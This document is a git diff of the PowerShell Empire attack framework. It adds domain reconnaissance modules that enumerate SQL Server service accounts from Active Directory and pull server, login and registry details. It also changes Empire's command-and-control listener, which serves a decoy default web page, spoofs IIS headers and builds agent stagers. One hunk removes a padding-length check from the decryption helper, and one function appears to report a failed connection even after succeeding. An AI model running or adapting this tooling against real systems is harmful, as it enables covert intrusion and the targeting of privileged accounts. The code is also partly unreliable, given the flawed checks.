$TableDomainSpn.Columns.Add('UserCn') + $null = $TableDomainSpn.Columns.Add('Service') + $null = $TableDomainSpn.Columns.Add('ComputerName') + $null = $TableDomainSpn.Columns.Add('Spn') + $null = $TableDomainSpn.Columns.Add('LastLogon') + $null = $TableDomainSpn.Columns.Add('Description') + $TableDomainSpn.Clear() + } Process { + try { + $SpnFilter = '' + if($DomainAccount) { + $SpnFilter = "(objectcategory=person)(SamAccountName=$DomainAccount)" + } + if($ComputerName) { + $ComputerSearch = "$ComputerName`$" + $SpnFilter = "(objectcategory=computer)(SamAccountName=$ComputerSearch)" + } + $SpnResults = Get-DomainObject -LdapFilter "(&(servicePrincipalName=$SpnService*)$SpnFilter)" -DomainController $DomainController -Username $Username -Password $Password + $SpnResults | % -Process { + [string]$SidBytes = [byte[]]"$($_.Properties.objectsid)".split(' ') + [string]$SidString = $SidBytes -replace ' ', '' + $Spn = $_.properties.serviceprincipalname.split(',') + foreach ($item in $Spn) { + $SpnServer = $item.split('/')[1].split(':')[0].split(' ')[0] + $SpnService = $item.split('/')[0] + if ($_.properties.lastlogon) { + $LastLogon = [datetime]::FromFileTime([string]$_.properties.lastlogon).ToString('g') + } else { + $LastLogon = '' + } + $null = $TableDomainSpn.Rows.Add( + [string]$SidString, + [string]$_.properties.samaccountname, + [string]$_.properties.cn, + [string]$SpnService, + [string]$SpnServer, + [string]$item, + $LastLogon, + [string]$_.properties.description + ) + } + } + } catch { + "Error was $_" + $line = $_.InvocationInfo.ScriptLineNumber + "Error was in Line $line" + } + } End { + if ($TableDomainSpn.Rows.Count -gt 0) { + $TableDomainSpnCount = $TableDomainSpn.Rows.Count + if(-not $SuppressVerbose) { + "$TableDomainSpnCount SPNs found on servers that matched search criteria." + } + Return $TableDomainSpn + } else { + '0 SPNs found.' + } + } +} + +Function Get-SQLInstanceDomain { + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'Domain user to authenticate with domain\user.')] + [string]$Username, + [Parameter(Mandatory = $false, + HelpMessage = 'Domain password to authenticate with domain\user.')] + [string]$Password, + [Parameter(Mandatory = $false, + HelpMessage = 'Domain controller for Domain and Site that you want to query against.')] + [string]$DomainController, + [Parameter(Mandatory = $false, + HelpMessage = 'Computer name to filter for.')] + [string]$ComputerName, + [Parameter(Mandatory = $false, + HelpMessage = 'Domain account to filter for.')] + [string]$DomainAccount, + [Parameter(Mandatory = $false, + HelpMessage = 'Performs UDP scan of servers managing SQL Server clusters.')] + [switch]$CheckMgmt, + [Parameter(Mandatory = $false, + HelpMessage = 'Timeout in seconds for UDP scans of management servers. Longer timeout = more accurate.')] + [int]$UDPTimeOut = 3 + ) + Begin { + $TblSQLServerSpns = New-Object -TypeName System.Data.DataTable + $null = $TblSQLServerSpns.Columns.Add('ComputerName') + $null = $TblSQLServerSpns.Columns.Add('Instance') + $null = $TblSQLServerSpns.Columns.Add('DomainAccountSid') + $null = $TblSQLServerSpns.Columns.Add('DomainAccount') + $null = $TblSQLServerSpns.Columns.Add('DomainAccountCn') + $null = $TblSQLServerSpns.Columns.Add('Service') + $null = $TblSQLServerSpns.Columns.Add('Spn') + $null = $TblSQLServerSpns.Columns.Add('LastLogon') + $null = $TblSQLServerSpns.Columns.Add('Description') + } Process { + "Grabbing SPNs from the domain for SQL Servers (MSSQL*)..." + $TblSQLServers = Get-DomainSpn -DomainController $DomainController -Username $Username -Password $Password -ComputerName $ComputerName -DomainAccount $DomainAccount -SpnService 'MSSQL*' -SuppressVerbose | + ? -FilterScript { $_.service -like 'MSSQL*' } + "Parsing SQL Server instances from SPNs..." + $TblSQLServers | % -Process { + $Spn = $_.Spn + $Instance = $Spn.split('/')[1].split(':')[1] + $Value = 0 + if([int32]::TryParse($Instance,[ref]$Value)) { + $SpnServerInstance = $Spn -replace ':', ',' + } else { + $SpnServerInstance = $Spn -replace ':', '\' + } + $SpnServerInstance = $SpnServerInstance -replace 'MSSQLSvc/', '' + $null = $TblSQLServerSpns.Rows.Add( + [string]$_.ComputerName, + [string]$SpnServerInstance, + $_.UserSid, + [string]$_.User, + [string]$_.Usercn, + [string]$_.Service, + [string]$_.Spn, + $_.LastLogon, + [string]$_.Description) + } + if($CheckMgmt) { + "Grabbing SPNs from the domain for Servers managing SQL Server clusters (MSServerClusterMgmtAPI)..." + $TblMgmtServers = Get-DomainSpn -DomainController $DomainController -Username $Username -Password $Password -ComputerName $ComputerName -DomainAccount $DomainAccount -SpnService 'MSServerClusterMgmtAPI' -SuppressVerbose | + ? -FilterScript { $_.ComputerName -like '*.*' } | select -Property ComputerName -Unique | sort -Property ComputerName + "Performing a UDP scan of management servers to obtain managed SQL Server instances..." + $TblMgmtSQLServers = $TblMgmtServers | select -Property ComputerName -Unique | Get-SQLInstanceScanUDP -UDPTimeOut $UDPTimeOut + } + } End { + if($CheckMgmt) { + "Parsing SQL Server instances from the UDP scan..." + $Tbl1 = $TblMgmtSQLServers | + Select-Object -Property ComputerName, Instance | + Sort-Object -Property ComputerName, Instance + $Tbl2 = $TblSQLServerSpns | + Select-Object -Property ComputerName, Instance | + Sort-Object -Property ComputerName, Instance + $Tbl3 = $Tbl1 + $Tbl2 + $InstanceCount = $Tbl3.rows.count + "$InstanceCount instances were found." + ForEach ($Row in $Tbl3){ + "ComputerName : " + $Row.ComputerName + "Instance : " + $Row.Instance + "" + } + $Tbl3 + } else { + $InstanceCount = $TblSQLServerSpns.rows.count + "$InstanceCount instances were found." + ForEach ($Row in $TblSQLServerSpns) { + "ComputerName : " + $Row.ComputerName + "Instance : " + $Row.Instance + "DomainAccountSid : " + $Row.DomainAccountSid + "DomainAccount : " + $Row.DomainAccount + "DomainAccountCn : " + $Row.DomainAccountCn + "Service : " + $Row.Service + "Spn : " + $Row.Spn + "LastLogon : " + $Row.LastLogon + "Description : " + $Row.Description + "" + } + $TblSQLServerSpns + } + } +} \ No newline at end of file diff --git a/data/module_source/situational_awareness/network/Get-SQLServerInfo.ps1 b/data/module_source/situational_awareness/network/Get-SQLServerInfo.ps1 new file mode 100644 index 0000000..47c219c --- /dev/null +++ b/data/module_source/situational_awareness/network/Get-SQLServerInfo.ps1 @@ -0,0 +1,426 @@ +Function Get-ComputerNameFromInstance { + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server instance.')] + [string]$Instance + ) + If ($Instance){$ComputerName = $Instance.split('\')[0].split(',')[0]} + else{$ComputerName = $env:COMPUTERNAME} + Return $ComputerName +} + +Function Get-SQLConnectionObject { + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + [Parameter(Mandatory = $false, + HelpMessage = 'Dedicated Administrator Connection (DAC).')] + [Switch]$DAC, + [Parameter(Mandatory = $false, + HelpMessage = 'Default database to connect to.')] + [String]$Database, + [Parameter(Mandatory = $false, + HelpMessage = 'Connection timeout.')] + [string]$TimeOut = 1 + ) + Begin { + if($DAC){$DacConn = 'ADMIN:'}else{$DacConn = ''} + if(-not $Database){$Database = 'Master'} + } Process { + if (-not $Instance) { + $Instance = $env:COMPUTERNAME + } + $Connection = New-Object -TypeName System.Data.SqlClient.SqlConnection + if(-not $Username) { + $AuthenticationType = "Current Windows Credentials" + $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;Integrated Security=SSPI;Connection Timeout=1" + } + if ($username -like "*\*") { + $AuthenticationType = "Provided Windows Credentials" + $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;Integrated Security=SSPI;uid=$Username;pwd=$Password;Connection Timeout=$TimeOut" + } + if (($username) -and ($username -notlike "*\*")) { + $AuthenticationType = "Provided SQL Login" + $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;User ID=$Username;Password=$Password;Connection Timeout=$TimeOut" + } + return $Connection + } End { + } +} + +Function Get-SQLConnectionTest { + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + [Parameter(Mandatory = $false, + HelpMessage = 'Connect using Dedicated Admin Connection.')] + [Switch]$DAC, + [Parameter(Mandatory = $false, + HelpMessage = 'Default database to connect to.')] + [String]$Database, + [Parameter(Mandatory = $false, + HelpMessage = 'Connection timeout.')] + [string]$TimeOut + ) + Begin { + $TblResults = New-Object -TypeName System.Data.DataTable + $null = $TblResults.Columns.Add('ComputerName') + $null = $TblResults.Columns.Add('Instance') + $null = $TblResults.Columns.Add('Status') + } Process { + $ComputerName = Get-ComputerNameFromInstance -Instance $Instance + if(-not $Instance) { + $Instance = $env:COMPUTERNAME + } + if($DAC) { + $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -DAC -TimeOut $TimeOut -Database $Database + } else { + $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -TimeOut $TimeOut -Database $Database + } + try { + $Connection.Open() + $null = $TblResults.Rows.Add("$ComputerName","$Instance",'Accessible') + $Connection.Close() + $Connection.Dispose() + } catch { + $ErrorMessage = $_.Exception.Message + "$Instance : Connection Failed." + "Error: $ErrorMessage" + } + $null = $TblResults.Rows.Add("$ComputerName","$Instance",'Not Accessible') + } End { + $TblResults + } +} + +Function Get-SQLSession { + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + [Parameter(Mandatory = $false, + HelpMessage = 'PrincipalName.')] + [string]$PrincipalName + ) + Begin { + $TblSessions = New-Object -TypeName System.Data.DataTable + $null = $TblSessions.Columns.Add('ComputerName') + $null = $TblSessions.Columns.Add('Instance') + $null = $TblSessions.Columns.Add('PrincipalSid') + $null = $TblSessions.Columns.Add('PrincipalName') + $null = $TblSessions.Columns.Add('OriginalPrincipalName') + $null = $TblSessions.Columns.Add('SessionId') + $null = $TblSessions.Columns.Add('SessionStartTime') + $null = $TblSessions.Columns.Add('SessionLoginTime') + $null = $TblSessions.Columns.Add('SessionStatus') + if($PrincipalName) { + $PrincipalNameFilter = " and login_name like '$PrincipalName'" + } else { + $PrincipalNameFilter = '' + } + } Process { + $ComputerName = Get-ComputerNameFromInstance -Instance $Instance + if(-not $Instance) { + $Instance = $env:COMPUTERNAME + } + $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password | ? -FilterScript { + $_.Status -eq 'Accessible' + } + if(-not $TestConnection) { + "$Instance : Connection Failed." + return + } + $Query = " USE master; + SELECT '$ComputerName' as [ComputerName], + '$Instance' as [Instance], + security_id as [PrincipalSid], + login_name as [PrincipalName], + original_login_name as [OriginalPrincipalName], + session_id as [SessionId], + last_request_start_time as [SessionStartTime], + login_time as [SessionLoginTime], + status as [SessionStatus] + FROM [sys].[dm_exec_sessions] + ORDER BY status + $PrincipalNameFilter" + $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password + $TblResults | % -Process { + if ($NewSid) { + $NewSid = [System.BitConverter]::ToString($_.PrincipalSid).Replace('-','') + if ($NewSid.length -le 10) { + $Sid = [Convert]::ToInt32($NewSid,16) + } else { + $Sid = $NewSid + } + $null = $TblSessions.Rows.Add( + [string]$_.ComputerName, + [string]$_.Instance, + $Sid, + [string]$_.PrincipalName, + [string]$_.OriginalPrincipalName, + [string]$_.SessionId, + [string]$_.SessionStartTime, + [string]$_.SessionLoginTime, + [string]$_.SessionStatus) + } + } + } End { + $TblSessions + } +} + +Function Get-SQLSysadminCheck { + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance + ) + Begin { + $TblSysadminStatus = New-Object -TypeName System.Data.DataTable + if($CredentialName) { + $CredentialNameFilter = " WHERE name like '$CredentialName'" + } else { + $CredentialNameFilter = '' + } + } Process { + $ComputerName = Get-ComputerNameFromInstance -Instance $Instance + if(-not $Instance) { + $Instance = $env:COMPUTERNAME + } + $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password | + ? -FilterScript { $_.Status -eq 'Accessible' } + if(-not $TestConnection) { + "$Instance : Connection Failed." + return + } + $Query = "SELECT '$ComputerName' as [ComputerName], + '$Instance' as [Instance], + CASE + WHEN IS_SRVROLEMEMBER('sysadmin') = 0 THEN 'No' + ELSE 'Yes' + END as IsSysadmin" + $TblSysadminStatusTemp = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password + $TblSysadminStatus = $TblSysadminStatus + $TblSysadminStatusTemp + } End { + $TblSysadminStatus + } +} + +Function Get-SQLQuery { + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server query.')] + [string]$Query, + [Parameter(Mandatory = $false, + HelpMessage = 'Connect using Dedicated Admin Connection.')] + [Switch]$DAC, + [Parameter(Mandatory = $false, + HelpMessage = 'Default database to connect to.')] + [String]$Database, + [Parameter(Mandatory = $false, + HelpMessage = 'Connection timeout.')] + [int]$TimeOut, + [Parameter(Mandatory = $false, + HelpMessage = 'Return error message if exists.')] + [switch]$ReturnError + ) + Begin { + $TblQueryResults = New-Object -TypeName System.Data.DataTable + } Process { + if($DAC){$Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -TimeOut $TimeOut -DAC -Database $Database} + else{$Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -TimeOut $TimeOut -Database $Database} + $ConnectionString = $Connection.Connectionstring + $Instance = $ConnectionString.split(';')[0].split('=')[1] + if($Query) { + $Connection.Open() + $Command = New-Object -TypeName System.Data.SqlClient.SqlCommand -ArgumentList ($Query, $Connection) + try { + $Results = $Command.ExecuteReader() + $TblQueryResults.Load($Results) + } catch { + # pass + } + $Connection.Close() + $Connection.Dispose() + } + else{'No query provided to Get-SQLQuery function.';Break} + } End { + if($ReturnError){$ErrorMessage} + else{$TblQueryResults} + } +} + +Function Get-SQLServerInfo { + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance + ) + Begin { + $TblServerInfo = New-Object -TypeName System.Data.DataTable + } Process { + $ComputerName = Get-ComputerNameFromInstance -Instance $Instance + if(-not $Instance) { + $Instance = $env:COMPUTERNAME + } + $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password | + ? -FilterScript { + $_.Status -eq 'Accessible' + } + if(-not $TestConnection) { + "$Instance : Connection Failed." + return + } + $ActiveSessions = Get-SQLSession -Instance $Instance -Username $Username -Password $Password | + ? -FilterScript { $_.SessionStatus -eq 'running' } | measure -Line | select -Property Lines -ExpandProperty Lines + $IsSysadmin = Get-SQLSysadminCheck -Instance $Instance -Username $Username -Password $Password + if($IsSysadmin.IsSysadmin -eq 'Yes') { + $SysadminSetup = " + DECLARE @MachineType SYSNAME + EXECUTE master.dbo.xp_regread + @rootkey = N'HKEY_LOCAL_MACHINE', + @key = N'SYSTEM\CurrentControlSet\Control\ProductOptions', + @value_name = N'ProductType', + @value = @MachineType output + DECLARE @ProductName SYSNAME + EXECUTE master.dbo.xp_regread + @rootkey = N'HKEY_LOCAL_MACHINE', + @key = N'SOFTWARE\Microsoft\Windows NT\CurrentVersion', + @value_name = N'ProductName', + @value = @ProductName output" + $SysadminQuery = ' @MachineType as [OsMachineType], + @ProductName as [OSVersionName],' + } else { + $SysadminSetup = '' + $SysadminQuery = '' + } + + $Query = " + DECLARE @SQLServerInstance varchar(250) + DECLARE @SQLServerServiceName varchar(250) + if @@SERVICENAME = 'MSSQLSERVER' + BEGIN + set @SQLServerInstance = 'SYSTEM\CurrentControlSet\Services\MSSQLSERVER' + set @SQLServerServiceName = 'MSSQLSERVER' + END + ELSE + BEGIN + set @SQLServerInstance = 'SYSTEM\CurrentControlSet\Services\MSSQL$'+cast(@@SERVICENAME as varchar(250)) + set @SQLServerServiceName = 'MSSQL$'+cast(@@SERVICENAME as varchar(250)) + END + + DECLARE @ServiceaccountName varchar(250) + EXECUTE master.dbo.xp_instance_regread + N'HKEY_LOCAL_MACHINE', @SQLServerInstance, + N'ObjectName',@ServiceAccountName OUTPUT, N'no_output' + + DECLARE @AuthenticationMode INT + EXEC master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE', + N'Software\Microsoft\MSSQLServer\MSSQLServer', + N'LoginMode', @AuthenticationMode OUTPUT + + $SysadminSetup + + SELECT '$ComputerName' as [ComputerName], + @@servername as [Instance], + DEFAULT_DOMAIN() as [DomainName], + @SQLServerServiceName as [ServiceName], + @ServiceAccountName as [ServiceAccount], + (SELECT CASE @AuthenticationMode + WHEN 1 THEN 'Windows Authentication' + WHEN 2 THEN 'Windows and SQL Server Authentication' + ELSE 'Unknown' + END) as [AuthenticationMode], + CASE SERVERPROPERTY('IsClustered') + WHEN 0 + THEN 'No' + ELSE 'Yes' + END as [Clustered], + SERVERPROPERTY('productversion') as [SQLServerVersionNumber], + SUBSTRING(@@VERSION, CHARINDEX('2', @@VERSION), 4) as [SQLServerMajorVersion], + serverproperty('Edition') as [SQLServerEdition], + SERVERPROPERTY('ProductLevel') AS [SQLServerServicePack], + SUBSTRING(@@VERSION, CHARINDEX('x', @@VERSION), 3) as [OSArchitecture], + $SysadminQuery + RIGHT(SUBSTRING(@@VERSION, CHARINDEX('Windows NT', @@VERSION), 14), 3) as [OsVersionNumber], + SYSTEM_USER as [Currentlogin], + '$IsSysadmin' as [IsSysadmin], + '$ActiveSessions' as [ActiveSessions]" + $TblServerInfoTemp = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password + $TblServerInfo = $TblServerInfo + $TblServerInfoTemp + ForEach ($Row in $TblServerInfo) { + "ComputerName : " + $Row.ComputerName + "Instance : " + $Row.Instance + "DomainName : " + $Row.DomainName + "ServiceName : " + $Row.ServiceName + "ServiceAccount : " + $Row.ServiceAccount + "AuthenticationMode : " + $Row.AuthenticationMode + "Clustered : " + $Row.Clustered + "SQLServerVersionNumber : " + $Row.SQLServerVersionNumber + "SQLServerMajorVersion : " + $Row.SQLServerMajorVersion + "SQLServerEdition : " + $Row.SQLServerEdition + "SQLServerServicePack : " + $Row.SQLServerServicePack + "OSArchitecture : " + $Row.OSArchitecture + "OsMachineType : " + $Row.OsMachineType + "OSVersionName : " + $Row.OSVersionName + "OsVersionNumber : " + $Row.OsVersionNumber + "Currentlogin : " + $Row.Currentlogin + "IsSysadmin : " + $IsSysadmin.IsSysadmin + "ActiveSessions : " + $Row.ActiveSessions + "" + } + + } End { + } +} diff --git a/empire b/empire index 2cefaef..e183ee7 100755 --- a/empire +++ b/empire @@ -647,9 +647,9 @@ def start_restful_api(startEmpire=False, suppress=False, username=None, password listeners = [] for activeListener in activeListenersRaw: - [ID, name, host, port, cert_path, staging_key, default_delay, default_jitter, default_profile, kill_date, working_hours, listener_type, redirect_target, default_lost_limit] = activeListener + [ID, name, module, listener_type, listener_category, options] = activeListener # activeListeners[name] = {'ID':ID, 'name':name, 'host':host, 'port':port, 'cert_path':cert_path, 'staging_key':staging_key, 'default_delay':default_delay, 'default_jitter':default_jitter, 'default_profile':default_profile, 'kill_date':kill_date, 'working_hours':working_hours, 'listener_type':listener_type, 'redirect_target':redirect_target, 'default_lost_limit':default_lost_limit} - listeners.append({'ID':ID, 'name':name, 'host':host, 'port':port, 'cert_path':cert_path, 'staging_key':staging_key, 'default_delay':default_delay, 'default_jitter':default_jitter, 'default_profile':default_profile, 'kill_date':kill_date, 'working_hours':working_hours, 'listener_type':listener_type, 'redirect_target':redirect_target, 'default_lost_limit':default_lost_limit}) + listeners.append({'ID':ID, 'name':name, 'module':module, 'listener_type':listener_type, 'listener_category':listener_category, 'options':options }) return jsonify({'listeners' : listeners}) diff --git a/lib/common/empire.py b/lib/common/empire.py index 7b26692..812ff12 100644 --- a/lib/common/empire.py +++ b/lib/common/empire.py @@ -795,6 +795,17 @@ class MainMenu(cmd.Cmd): offs = len(mline) - len(text) return [s[offs:] for s in stagerNames if s.startswith(mline)] + def complete_setlist(self, text, line, begidx, endidx): + "Tab-complete a global list option" + + options = ["listeners", "agents"] + + if line.split(' ')[1].lower() in options: + return helpers.complete_path(text, line, arg=True) + + mline = line.partition(' ')[2] + offs = len(mline) - len(text) + return [s[offs:] for s in options if s.startswith(mline)] def complete_set(self, text, line, begidx, endidx): "Tab-complete a global option." @@ -844,6 +855,11 @@ class MainMenu(cmd.Cmd): offs = len(mline) - len(text) return [s[offs:] for s in names if s.startswith(mline)] + def complete_list(self, text, line, begidx, endidx): + "Tab-complete list" + + return self.complete_setlist(text, line, begidx, endidx) + def complete_preobfuscate(self, text, line, begidx, endidx): "Tab-complete an interact command" options = [ (option[len('data/module_source/'):]) for option in helpers.get_module_source_files() ] @@ -852,6 +868,7 @@ class MainMenu(cmd.Cmd): mline = line.partition(' ')[2] offs = len(mline) - len(text) return [s[offs:] for s in options if s.startswith(mline)] + class AgentsMenu(cmd.Cmd): """ @@ -1892,7 +1909,7 @@ class PowerShellAgentMenu(cmd.Cmd): module.options['Agent']['Value'] = self.mainMenu.agents.get_agent_name_db(self.sessionID) module_menu = ModuleMenu(self.mainMenu, 'powershell/management/psinject') - module_menu.cmdloop() + module_menu.do_execute("") else: print helpers.color("[!] Please enter ") diff --git a/lib/common/encryption.py b/lib/common/encryption.py index faf3a12..6adfac8 100644 --- a/lib/common/encryption.py +++ b/lib/common/encryption.py @@ -68,11 +68,8 @@ def pad(data): Performs PKCS#7 padding for 128 bit block size. """ - if (len(data) % 16) == 0: - return data - else: - pad = 16 - (len(data) % 16) - return data + to_bufferable(chr(pad) * pad) + pad = 16 - (len(data) % 16) + return data + to_bufferable(chr(pad) * pad) # return str(s) + chr(16 - len(str(s)) % 16) * (16 - len(str(s)) % 16) @@ -85,11 +82,7 @@ def depad(data): raise ValueError("invalid length") pad = _get_byte(data[-1]) - - if pad <= 16: - return data[:-pad] - else: - return data + return data[:-pad] # return s[:-(ord(s[-1]))] diff --git a/lib/common/helpers.py b/lib/common/helpers.py index edea80e..3e51562 100644 --- a/lib/common/helpers.py +++ b/lib/common/helpers.py @@ -64,7 +64,17 @@ def validate_ip(IP): """ Uses iptools to validate an IP. """ - return iptools.ipv4.validate_ip(IP) + try: + validate_IPv4 = iptools.ipv4.validate_ip(IP) + validate_IPv6 = iptools.ipv6.validate_ip(IP) + + if validate_IPv4 is True: + return validate_IPv4 + elif validate_IPv6 is True: + return validate_IPv6 + except Exception as e: + return e + def validate_ntlm(data): diff --git a/lib/common/http.py b/lib/common/http.py new file mode 100644 index 0000000..e706422 --- /dev/null +++ b/lib/common/http.py @@ -0,0 +1,213 @@ +""" + +HTTP related methods used by Empire. + +Includes URI validation/checksums, as well as the base +http server (EmpireServer) and its modified request +handler (RequestHandler). + +These are the first places URI requests are processed. + +""" + +from BaseHTTPServer import BaseHTTPRequestHandler +import BaseHTTPServer, threading, ssl, os, string, random +from pydispatch import dispatcher +import re + +# Empire imports +import encryption +import helpers + + +#TODO: place this in a config +def default_page(): + """ + Returns the default page for this server. + """ + page = "

It works!

" + page += "

This is the default web page for this server.

" + page += "

The web server software is running but no content has been added, yet.

" + page += "" + return page + +############################################################### +# +# Host2lhost helper. +# +############################################################### + +def host2lhost(s): + """ + Return lhost for Empire's native listener from Host value + """ + reg = r'(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)' + res = re.findall( reg, s) + return res[0] if len(res) == 1 else '0.0.0.0' + +############################################################### +# +# Checksum helpers. +# +############################################################### + +def checksum8(s): + """ + Add up all character values and mods the total by 256. + """ + return sum([ord(ch) for ch in s]) % 0x100 + + +############################################################### +# +# HTTP servers and handlers. +# +############################################################### + +class RequestHandler(BaseHTTPRequestHandler): + """ + Main HTTP handler we're overwriting in order to modify the HTTPServer behavior. + """ + + # retrieve the server headers from the common config + serverVersion = helpers.get_config('server_version')[0] + + # fake out our server headers base + BaseHTTPRequestHandler.server_version = serverVersion + BaseHTTPRequestHandler.sys_version = "" + + + def do_GET(self): + + # get the requested path and the client IP + resource = self.path + clientIP = self.client_address[0] + sessionID = None + + cookie = self.headers.getheader("Cookie") + if cookie: + # search for a SESSIONID value in the cookie + parts = cookie.split(";") + for part in parts: + if "SESSIONID" in part: + # extract the sessionID value + name, sessionID = part.split("=", 1) + + # fire off an event for this GET (for logging) + dispatcher.send("[*] "+resource+" requested from "+str(sessionID)+" at "+clientIP, sender="HttpHandler") + + # get the appropriate response from the agent handler + (code, responsedata) = self.server.agents.process_get(self.server.server_port, clientIP, sessionID, resource) + + # write the response out + self.send_response(code) + self.end_headers() + self.wfile.write(responsedata) + self.wfile.flush() + # self.wfile.close() # causes an error with HTTP comms + + def do_POST(self): + + resource = self.path + clientIP = self.client_address[0] + sessionID = None + + cookie = self.headers.getheader("Cookie") + if cookie: + # search for a SESSIONID value in the cookie + parts = cookie.split(";") + for part in parts: + if "SESSIONID" in part: + # extract the sessionID value + name, sessionID = part.split("=", 1) + + # fire off an event for this POST (for logging) + dispatcher.send("[*] Post to "+resource+" from "+str(sessionID)+" at "+clientIP, sender="HttpHandler") + + # read in the length of the POST data + if self.headers.getheader('content-length'): + length = int(self.headers.getheader('content-length')) + postData = self.rfile.read(length) + + # get the appropriate response for this agent + (code, responsedata) = self.server.agents.process_post(self.server.server_port, clientIP, sessionID, resource, postData) + + # write the response out + self.send_response(code) + self.end_headers() + self.wfile.write(responsedata) + self.wfile.flush() + # self.wfile.close() # causes an error with HTTP comms + + # supress all the stupid default stdout/stderr output + def log_message(*arg): + pass + + +class EmpireServer(threading.Thread): + """ + Version of a simple HTTP[S] Server with specifiable port and + SSL cert. Defaults to HTTP is no cert is specified. + + Uses agents.RequestHandler handle inbound requests. + """ + + def __init__(self, handler, lhost='0.0.0.0', port=80, cert=''): + + # set to False if the listener doesn't successfully start + self.success = True + + try: + threading.Thread.__init__(self) + self.server = None + + self.server = BaseHTTPServer.HTTPServer((lhost, int(port)), RequestHandler) + + # pass the agent handler object along for the RequestHandler + self.server.agents = handler + + self.port = port + self.serverType = "HTTP" + + # wrap it all up in SSL if a cert is specified + if cert and cert != "": + self.serverType = "HTTPS" + cert = os.path.abspath(cert) + + self.server.socket = ssl.wrap_socket(self.server.socket, certfile=cert, server_side=True) + + dispatcher.send("[*] Initializing HTTPS server on "+str(port), sender="EmpireServer") + else: + dispatcher.send("[*] Initializing HTTP server on "+str(port), sender="EmpireServer") + + except Exception as e: + self.success = False + # shoot off an error if the listener doesn't stand up + dispatcher.send("[!] Error starting listener on port "+str(port)+": "+str(e), sender="EmpireServer") + + + def base_server(self): + return self.server + + + def run(self): + try: self.server.serve_forever() + except: pass + + + def shutdown(self): + + # shut down the server/socket + self.server.shutdown() + self.server.socket.close() + self.server.server_close() + self._Thread__stop() + + # make sure all the threads are killed + for thread in threading.enumerate(): + if thread.isAlive(): + try: + thread._Thread__stop() + except: + pass + diff --git a/lib/listeners/http.py b/lib/listeners/http.py index 9e3be08..72ec441 100644 --- a/lib/listeners/http.py +++ b/lib/listeners/http.py @@ -97,7 +97,7 @@ class Listener: 'Value' : '' }, 'ServerVersion' : { - 'Description' : 'TServer header for the control server.', + 'Description' : 'Server header for the control server.', 'Required' : True, 'Value' : 'Microsoft-IIS/7.5' } @@ -205,6 +205,16 @@ class Listener: pass # TODO: reimplement stager retries? + #check if we're using IPv6 + listenerOptions = copy.deepcopy(listenerOptions) + bindIP = listenerOptions['BindIP']['Value'] + port = listenerOptions['Port']['Value'] + if ':' in bindIP: + if "http" in host: + if "https" in host: + host = 'https://' + '[' + str(bindIP) + ']' + ":" + str(port) + else: + host = 'http://' + '[' + str(bindIP) + ']' + ":" + str(port) # code to turn the key string into a byte array stager += helpers.randomize_capitalization("$K=[System.Text.Encoding]::ASCII.GetBytes(") @@ -692,6 +702,15 @@ def send_message(packets=None): return response + @app.after_request + def add_proxy_headers(response): + "Add HTTP headers to avoid proxy caching." + response.headers['Cache-Control'] = "no-cache, no-store, must-revalidate" + response.headers['Pragma'] = "no-cache" + response.headers['Expires'] = "0" + return response + + @app.route('/', methods=['GET']) def handle_get(request_uri): """ @@ -780,12 +799,22 @@ def send_message(packets=None): if results: if results.startswith('STAGE2'): # TODO: document the exact results structure returned + if ':' in clientIP: + clientIP = '[' + str(clientIP) + ']' 